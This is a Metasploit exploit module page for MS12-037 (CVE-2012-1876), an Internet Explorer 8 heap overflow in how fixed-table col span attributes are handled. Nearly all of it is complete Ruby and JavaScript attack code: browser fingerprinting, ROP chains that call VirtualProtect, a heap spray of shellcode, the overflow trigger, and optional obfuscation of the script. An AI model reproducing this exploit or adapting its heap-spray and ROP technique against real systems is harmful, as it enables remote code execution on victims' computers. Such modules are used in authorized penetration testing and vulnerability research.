MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow

2012-07-31T21:14:29
ID MSF:EXPLOIT/WINDOWS/BROWSER/MS12_037_IE_COLSPAN
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

This module exploits a heap overflow vulnerability in Internet Explorer caused by an incorrect handling of the span attribute for col elements from a fixed table, when they are modified dynamically by javascript code.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :ua_minver  => "8.0",
  #  :ua_maxver  => "8.0",
  #  :rank       => NormalRanking, # reliable memory corruption
  #  :javascript => true
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow',
      'Description'    => %q{
          This module exploits a heap overflow vulnerability in Internet Explorer caused
        by an incorrect handling of the span attribute for col elements from a fixed table,
        when they are modified dynamically by javascript code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Alexandre Pelletier',                     # Vulnerability analysis
          'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
          'binjo',                                   # Metasploit module
          'sinn3r',                                  # Help with the Metasploit module
          'juan vazquez'                             # Help with the Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-1876' ],
          [ 'OSVDB', '82866'],
          [ 'BID', '53848' ],
          [ 'MSB', 'MS12-037' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows XP SP3 with msvcrt ROP',
            {
              'Rop' => :msvcrt
            }
          ],
          [ 'IE 8 on Windows 7 SP1',
            {
              'Rop' => :jre
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-06-12',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
        ])
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[1]  #IE 8 on Windows XP SP3
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
      return targets[2]  #IE 8 on Windows 7 with JRE
    else
      return nil
    end
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def nop
    return make_nops(4).unpack("V").first
  end

  def get_payload(t)

    code = payload.encoded

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
      when :msvcrt
        print_status("Using msvcrt ROP")
        exec_size = code.length
        rop =
          [
            0x77c4ec01, # retn
            0x77c4ec00, # pop ebp; retn
            0x77c15ed5, # xchg eax,esp; retn (pivot)
            0x77c4e392, # pop eax; retn
            0x77c11120, # <- *&VirtualProtect()
            0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn
            junk,
            0x77c2dd6c,
            0x77c4ec00, # pop ebp; retn
            0x77c35459, # ptr to 'push esp; ret'
            0x77c47705, # pop ebx; retn
            exec_size,  # ebx
            0x77c3ea01, # pop ecx; retn
            0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
            0x77c46100, # pop edi; retn
            0x77c46101, # rop nop (-> edi)
            0x77c4d680, # pop edx; retn
            0x00000040, # newProtect (0x40) (-> edx)
            0x77c4e392, # pop eax; retn
            nop,        # nops (-> eax)
            0x77c12df9  # pushad; retn
          ].pack("V*")
      when :jre
        print_status("Using JRE ROP")
        exec_size = code.length
        rop =
          [
            0x7c346c0b, # retn
            0x7c36f970, # pop ebp; retn
            0x7c348b05, # xchg eax,esp; retn (pivot)
            0x7c36f970, # pop ebp; retn [MSVCR71.dll]
            0x7c36f970, # skip 4 bytes [MSVCR71.dll]
            0x7c34373a, # pop ebx ; retn [MSVCR71.dll]
            exec_size,  # ebx
            0x7c3444d0, # pop edx ; retn [MSVCR71.dll]
            0x00000040, # 0x00000040-> edx
            0x7c361829, # pop ecx ; retn [MSVCR71.dll]
            0x7c38f036, # &Writable location [MSVCR71.dll]
            0x7c342766, # pop edi ; retn [MSVCR71.dll]
            0x7c346c0b, # retn (rop nop) [MSVCR71.dll]
            0x7c350564, # pop esi ; retn [MSVCR71.dll]
            0x7c3415a2, # jmp [eax] [MSVCR71.dll]
            0x7c3766ff, # pop eax ; retn [MSVCR71.dll]
            0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll]
            0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll]
            0x7c345c30  # ptr to 'push esp; ret ' [MSVCR71.dll]
          ].pack("V*")
    end

    code = rop + code
    return code
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    js_code =  Rex::Text.to_unescape(get_payload(my_target), Rex::Arch.endian(target.arch))

    table_builder = ''

    0.upto(132) do |i|
      table_builder << "<table style=\"table-layout:fixed\" ><col id=\"#{i}\" width=\"41\" span=\"9\" >&nbsp </col></table>"
    end

    # About smash_vtable():
    # * smash the vftable 0x07070024
    # * span => the amount to overwrite
    js_element_id = Rex::Text.rand_text_alpha(4)
    spray_trigger_js = <<-JS

    var dap = "EEEE";
    while ( dap.length < 480 ) dap += dap;

    var padding = "AAAA";
    while ( padding.length < 480 ) padding += padding;

    var filler = "BBBB";
    while ( filler.length < 480 ) filler += filler;

    var arr = new Array();
    var rra = new Array();

    var div_container = document.getElementById("#{js_element_id}");
    div_container.style.cssText = "display:none";

    for (var i=0; i < 500; i+=2) {
      rra[i] = dap.substring(0, (0x100-6)/2);
      arr[i] = padding.substring(0, (0x100-6)/2);
      arr[i+1] = filler.substring(0, (0x100-6)/2);
      var obj = document.createElement("button");
      div_container.appendChild(obj);
    }

    for (var i=200; i<500; i+=2 ) {
      rra[i] = null;
      CollectGarbage();
    }

    function heap_spray(){
      CollectGarbage();

      var shellcode = unescape("#{js_code}");

      while (shellcode.length < 100000)
      shellcode = shellcode + shellcode;
      var onemeg = shellcode.substr(0, 64*1024/2);
      for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
      }

      onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
      var spray = new Array();

      for (i=0; i<400; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
      }
    }

    function smash_vtable(){
      var obj_col_0 = document.getElementById("132");
      obj_col_0.width = "1178993";
      obj_col_0.span = "44";
    }

    setTimeout(function(){heap_spray()}, 400);
    setTimeout(function(){smash_vtable()}, 700);
    JS

    if datastore['OBFUSCATE']
      spray_trigger_js = ::Rex::Exploitation::JSObfu.new(spray_trigger_js)
      spray_trigger_js.obfuscate(memory_sensitive: true)
    end

    # build html
    content = <<-HTML
    <html>
    <body>
    <div id="#{js_element_id}"></div>
    #{table_builder}
    <script language='javascript'>
    #{spray_trigger_js}
    </script>
    </body>
    </html>
    HTML

    print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

    # Transmit the response to the client
    send_response_html(cli, content)
  end
end